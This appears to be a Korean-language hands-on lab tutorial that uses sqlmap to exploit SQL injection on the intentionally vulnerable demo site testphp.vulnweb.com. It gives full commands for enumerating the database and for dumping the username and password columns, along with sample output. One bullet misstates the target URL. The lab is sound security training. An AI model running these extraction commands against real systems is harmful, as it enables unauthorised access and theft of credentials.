sqlmap 으로 특정 테이블 열에서 데이터 덤프하기

Kali LinuxBeginner
지금 연습하기

소개

이 실습에서는 오픈 소스 침투 테스트 도구인 sqlmap을 사용하여 SQL 인젝션 취약점을 탐지하고 악용하는 프로세스를 자동화하고 데이터베이스 서버를 장악하는 방법을 배우게 됩니다. 특히, 알려진 테이블 내의 특정 열에서 데이터를 덤프하는 방법에 중점을 둘 것입니다. 이는 침투 테스트 및 보안 감사에서 일반적인 작업으로, 전체 테이블을 덤프하는 대신 필요한 관련 정보만 추출할 수 있게 해줍니다. 대상 데이터베이스, 테이블 및 열을 식별한 다음, sqlmap-C 플래그를 사용하여 데이터 추출을 원하는 열을 지정하는 연습을 하게 됩니다.

대상 데이터베이스, 테이블 및 열 식별

이 단계에서는 대상 데이터베이스, 테이블 및 데이터를 덤프하려는 특정 열을 식별하는 방법을 배우게 됩니다. 데이터를 덤프하기 전에 무엇을 찾고 있는지 알아야 합니다. 실제 시나리오에서는 이 정보는 일반적으로 sqlmap을 사용한 이전 열거 단계 (예: 데이터베이스, 테이블 및 열 나열) 를 통해 수집됩니다. 이 실습에서는 다음을 이미 식별했다고 가정합니다.

  • 대상 URL: http://testphp.vulnweb.com/listproducts.php?cat=1 (시연 목적으로 알려진 취약한 URL)
  • 데이터베이스: acuart
  • 테이블: users
  • 관심 열: uname (사용자 이름) 및 pass (비밀번호)

이러한 세부 정보는 필요한 데이터만 추출하기 위한 정확한 sqlmap 명령을 구성하는 데 중요합니다.

초기 열거를 시뮬레이션하기 위해 다음과 같은 명령을 실행했을 수 있습니다 (이 실습에서는 대상 세부 정보를 제공하므로 실행할 필요가 없습니다).

데이터베이스 나열:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs

acuart 데이터베이스의 테이블 나열:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables

acuart 데이터베이스의 users 테이블에 있는 열 나열:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns

이 실습에서는 위의 열거가 완료되었다고 가정하고 특정 열 덤프로 직접 진행하겠습니다.

데이터를 덤프할 열을 지정하기 위해 -C 플래그 사용

이 단계에서는 sqlmap에서 -C 플래그를 사용하여 덤프하려는 열을 지정하는 방법을 배우게 됩니다. 이 플래그는 대상 데이터 추출에 필수적이며, 불필요한 데이터를 피하고 관련 정보만 검색할 수 있도록 합니다.

-C 플래그를 사용하는 구문은 간단합니다. 플래그 바로 뒤에 쉼표로 구분된 열 이름 목록을 제공합니다.

예시에서는 acuart 데이터베이스의 users 테이블에서 uname(사용자 이름) 및 pass(비밀번호) 열을 덤프하려고 합니다.

-C 플래그를 통합한 부분적인 sqlmap 명령은 다음과 같습니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass"

이 명령의 구성 요소를 살펴보겠습니다.

  • -u "http://testphp.vulnweb.com/listphp.php?cat=1": SQL 인젝션에 취약한 대상 URL 을 지정합니다.
  • -D acuart: 데이터를 추출할 데이터베이스 이름 (acuart) 을 지정합니다.
  • -T users: acuart 데이터베이스 내의 테이블 이름 (users) 을 지정합니다.
  • -C "uname,pass": 이것이 중요한 부분입니다. sqlmap에 데이터 덤프에 unamepass 열만 고려하도록 지시합니다.

이 명령 조각은 데이터를 덤프하기에 아직 완전하지 않지만, 원하는 열을 올바르게 지정하는 방법을 보여줍니다. 다음 단계에서는 --dump 플래그를 추가하여 실제 데이터 추출을 시작할 것입니다.

--dump 플래그를 사용하여 데이터 덤프 시작

이 단계에서는 sqlmap으로 실제 데이터 추출 프로세스를 시작하는 데 사용되는 --dump 플래그에 대해 배우게 됩니다. -C 플래그가 덤프할 열을 지정하는 반면, --dump 플래그는 데이터 덤프 작업을 수행하도록 sqlmap에 지시합니다.

대상 URL, 데이터베이스, 테이블 및 열 사양과 결합될 때 --dump 플래그는 지정된 열에서 데이터를 검색하고 저장하도록 sqlmap에 지시합니다.

acuart 데이터베이스의 users 테이블에서 unamepass 열을 덤프하기 위한 완전한 sqlmap 명령은 다음과 같습니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

전체 명령을 검토해 보겠습니다.

  • -u "http://testphp.vulnweb.com/listproducts.php?cat=1": 대상 URL 입니다.
  • -D acuart: 데이터베이스 이름입니다.
  • -T users: 테이블 이름입니다.
  • -C "uname,pass": 덤프할 특정 열입니다.
  • --dump: 수행할 작업 – 데이터 덤프입니다.

이 명령은 sqlmap에 지정된 URL 에서 SQL 인젝션 취약점을 찾고, 성공하면 acuart 데이터베이스 내의 users 테이블에서 unamepass 열의 데이터를 추출하도록 지시합니다. 추출된 데이터는 일반적으로 sqlmap의 출력 디렉터리 내 CSV 파일에 저장됩니다.

데이터 덤프 명령 실행

이 단계에서는 지정된 열에서 데이터를 덤프하기 위해 완전한 sqlmap 명령을 실행합니다. 이는 실제 데이터 추출 시나리오를 시뮬레이션합니다.

터미널을 ~/project 디렉터리로 열고 다음 명령을 실행합니다.

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C "uname,pass" --dump

예상 출력:

sqlmap은 먼저 SQL 인젝션 취약점을 탐지하기 위한 다양한 테스트를 수행합니다. 성공하면 데이터 덤프를 진행합니다. 다음과 유사한 출력이 표시됩니다 (정확한 출력은 sqlmap 버전 및 대상 응답에 따라 다를 수 있습니다).

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
            |_| |_| |_|   3.7#dev (r19000)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. You are responsible for your own actions.
[!] sqlmap is a tool for professional penetration testers only.

[INFO] starting @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

... (various detection and exploitation messages) ...

[INFO] fetching columns 'uname,pass' for table 'users' in database 'acuart'
[INFO] retrieved 10 entries
Database: acuart
Table: users
+----------+----------+
| uname    | pass     |
+----------+----------+
| test     | test     |
| admin    | admin    |
| john     | doe      |
| ...      | ...      |
+----------+----------+

[INFO] table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv'
[INFO] finished @ XXXX-XX-XX XX:XX:XX /YYYY-MM-DD HH:MM:SS/

데이터가 덤프된 위치를 나타내는 줄 (예: table 'acuart.users' dumped to CSV file '/home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv') 에 주의 깊게 주의를 기울이십시오. 이 경로는 다음 단계를 위해 중요합니다.

참고: sqlmap은 프로세스 중에 몇 가지 질문을 할 수 있습니다 (예: 다른 테스트를 계속할지, 세션을 저장할지 여부). 이 실습에서는 일반적으로 기본값을 수락하려면 Enter를 누르거나 광범위한 테스트를 건너뛸지 묻는 경우 n을 누르면 됩니다.

CSV 출력 파일에서 덤프된 데이터 찾기 및 검토

이 마지막 단계에서는 sqlmap이 덤프된 데이터를 저장한 CSV 파일을 찾고 해당 내용을 검토합니다. sqlmap은 일반적으로 ~/.local/share/sqlmap/output/ 아래에 구조화된 디렉터리에 출력을 구성합니다.

이전 단계의 출력에 따라 users.csv 파일이 저장된 디렉터리로 이동합니다. 경로는 /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/와 유사할 것입니다.

먼저 sqlmap 출력 디렉터리로 이동해 보겠습니다. 정확한 경로는 sqlmap 버전 및 대상에 따라 약간 다를 수 있지만 일반적으로 ~/.local/share/sqlmap/output/<target_domain>/dump/<database_name>/ 패턴을 따릅니다.

예시의 경우 경로는 /home/labex/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/일 가능성이 높습니다.

ls 명령을 사용하여 이 디렉터리의 내용을 나열합니다.

ls -l ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/

users.csv (및 기타 파일) 이 나열된 것을 볼 수 있습니다.

이제 cat 명령을 사용하여 users.csv 파일의 내용을 확인합니다.

cat ~/.local/share/sqlmap/output/testphp.vulnweb.com/dump/acuart/users.csv

예상 출력:

출력에는 unamepass 열이 표시되며 각 행은 users 테이블의 항목을 나타냅니다.

uname,pass
test,test
admin,admin
john,doe
...

이는 sqlmap이 지정된 열만 성공적으로 추출했음을 확인하며, 이는 대상 데이터 덤프를 위한 -C 플래그의 효과를 보여줍니다.

요약

이 실습에서는 sqlmap을 사용하여 특정 테이블 열에서 데이터를 덤프하는 방법을 성공적으로 배웠습니다. 대상 데이터베이스, 테이블 및 열을 식별하는 것의 중요성을 이해하는 것부터 시작했습니다. 그런 다음 원하는 열을 지정하기 위해 -C 플래그를 사용하고 데이터 추출을 시작하기 위해 --dump 플래그를 사용하여 sqlmap 명령을 구성하는 연습을 했습니다. 마지막으로 명령을 실행하고 생성된 CSV 출력 파일에서 덤프된 데이터를 확인했습니다. 이 대상 접근 방식은 침투 테스트 및 보안 평가 중에 효율적이고 정확한 데이터 검색에 중요합니다.